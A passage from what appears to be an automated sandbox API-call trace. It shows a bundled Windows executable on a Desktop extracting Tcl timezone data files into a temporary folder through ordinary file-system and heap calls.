lpLocalTime=0x4f8ce8) returned 1 [0040.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.323] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.323] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.323] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.323] CloseHandle (hObject=0x10c) returned 1 [0040.323] GetLastError () returned 0x0 [0040.323] SetLastError (dwErrCode=0x0) [0040.323] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.323] GetFileType (hFile=0x10c) returned 0x1 [0040.323] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.323] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.323] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.324] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.324] CloseHandle (hObject=0x10c) returned 1 [0040.324] GetLastError () returned 0x0 [0040.324] SetLastError (dwErrCode=0x0) [0040.324] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novokuznetsk") returned 74 [0040.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novokuznetsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\novokuznetsk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.324] GetLastError () returned 0x2 [0040.324] SetLastError (dwErrCode=0x2) [0040.324] GetLastError () returned 0x2 [0040.324] SetLastError (dwErrCode=0x2) [0040.324] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novokuznetsk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novokuznetsk", lpFilePart=0x0) returned 0x49 [0040.324] GetLastError () returned 0x2 [0040.324] SetLastError (dwErrCode=0x2) [0040.324] GetLastError () returned 0x2 [0040.324] SetLastError (dwErrCode=0x2) [0040.324] GetLastError () returned 0x2 [0040.324] SetLastError (dwErrCode=0x2) [0040.324] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novokuznetsk") returned 74 [0040.324] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novokuznetsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\novokuznetsk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.325] GetFileType (hFile=0x10c) returned 0x1 [0040.325] htonl (hostlong=0x34080000) returned 0x834 [0040.325] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.325] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x834, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x834, lpOverlapped=0x0) returned 1 [0040.326] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.326] CloseHandle (hObject=0x10c) returned 1 [0040.326] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.326] htonl (hostlong=0x30000000) returned 0x30 [0040.326] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.326] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.326] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.327] GetFileType (hFile=0x10c) returned 0x1 [0040.327] htonl (hostlong=0x6c095b00) returned 0x5b096c [0040.327] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fb96c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.327] htonl (hostlong=0x27020000) returned 0x227 [0040.327] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x227) returned 0x550600 [0040.327] htonl (hostlong=0x27020000) returned 0x227 [0040.327] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.327] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.327] htonl (hostlong=0x30080000) returned 0x830 [0040.327] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x830) returned 0x55e278 [0040.327] htonl (hostlong=0x27020000) returned 0x227 [0040.327] htonl (hostlong=0x30080000) returned 0x830 [0040.327] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.327] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.327] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.327] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.327] CloseHandle (hObject=0x10c) returned 1 [0040.327] GetLastError () returned 0x0 [0040.327] SetLastError (dwErrCode=0x0) [0040.327] GetLastError () returned 0x0 [0040.327] SetLastError (dwErrCode=0x0) [0040.327] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.327] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.327] GetFileType (hFile=0x10c) returned 0x1 [0040.327] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.327] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.328] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.328] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.328] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.328] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.328] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.328] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.328] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.328] CloseHandle (hObject=0x10c) returned 1 [0040.328] GetLastError () returned 0x0 [0040.328] SetLastError (dwErrCode=0x0) [0040.328] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.328] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.328] GetFileType (hFile=0x10c) returned 0x1 [0040.328] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.328] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.328] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.328] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.328] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.328] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.328] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.328] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.328] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.328] CloseHandle (hObject=0x10c) returned 1 [0040.328] GetLastError () returned 0x0 [0040.329] SetLastError (dwErrCode=0x0) [0040.329] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.329] GetFileType (hFile=0x10c) returned 0x1 [0040.329] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.329] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.329] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.329] CloseHandle (hObject=0x10c) returned 1 [0040.329] GetLastError () returned 0x0 [0040.329] SetLastError (dwErrCode=0x0) [0040.329] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novosibirsk") returned 73 [0040.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novosibirsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\novosibirsk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.329] GetLastError () returned 0x2 [0040.329] SetLastError (dwErrCode=0x2) [0040.329] GetLastError () returned 0x2 [0040.329] SetLastError (dwErrCode=0x2) [0040.329] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novosibirsk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novosibirsk", lpFilePart=0x0) returned 0x48 [0040.329] GetLastError () returned 0x2 [0040.329] SetLastError (dwErrCode=0x2) [0040.329] GetLastError () returned 0x2 [0040.329] SetLastError (dwErrCode=0x2) [0040.330] GetLastError () returned 0x2 [0040.330] SetLastError (dwErrCode=0x2) [0040.330] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novosibirsk") returned 73 [0040.330] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Novosibirsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\novosibirsk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.330] GetFileType (hFile=0x10c) returned 0x1 [0040.330] htonl (hostlong=0x30080000) returned 0x830 [0040.330] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.330] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x830, lpOverlapped=0x0) returned 1 [0040.331] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.331] CloseHandle (hObject=0x10c) returned 1 [0040.331] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.331] htonl (hostlong=0x30000000) returned 0x30 [0040.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.331] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.331] GetFileType (hFile=0x10c) returned 0x1 [0040.331] htonl (hostlong=0x930b5b00) returned 0x5b0b93 [0040.331] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fbb93, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.331] htonl (hostlong=0xc020000) returned 0x20c [0040.332] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20c) returned 0x550600 [0040.332] htonl (hostlong=0xc020000) returned 0x20c [0040.332] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.332] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.332] htonl (hostlong=0xb080000) returned 0x80b [0040.332] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80b) returned 0x55e278 [0040.332] htonl (hostlong=0xc020000) returned 0x20c [0040.332] htonl (hostlong=0xb080000) returned 0x80b [0040.332] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.332] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.332] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.332] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.332] CloseHandle (hObject=0x10c) returned 1 [0040.332] GetLastError () returned 0x0 [0040.332] SetLastError (dwErrCode=0x0) [0040.332] GetLastError () returned 0x0 [0040.332] SetLastError (dwErrCode=0x0) [0040.332] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.332] GetFileType (hFile=0x10c) returned 0x1 [0040.332] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.332] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.332] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.332] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.332] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.332] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.332] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.332] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.333] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.333] CloseHandle (hObject=0x10c) returned 1 [0040.333] GetLastError () returned 0x0 [0040.333] SetLastError (dwErrCode=0x0) [0040.333] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.333] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.333] GetFileType (hFile=0x10c) returned 0x1 [0040.333] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.333] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.333] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.333] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.333] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.333] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.333] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.333] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.333] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.333] CloseHandle (hObject=0x10c) returned 1 [0040.333] GetLastError () returned 0x0 [0040.333] SetLastError (dwErrCode=0x0) [0040.333] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.333] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" 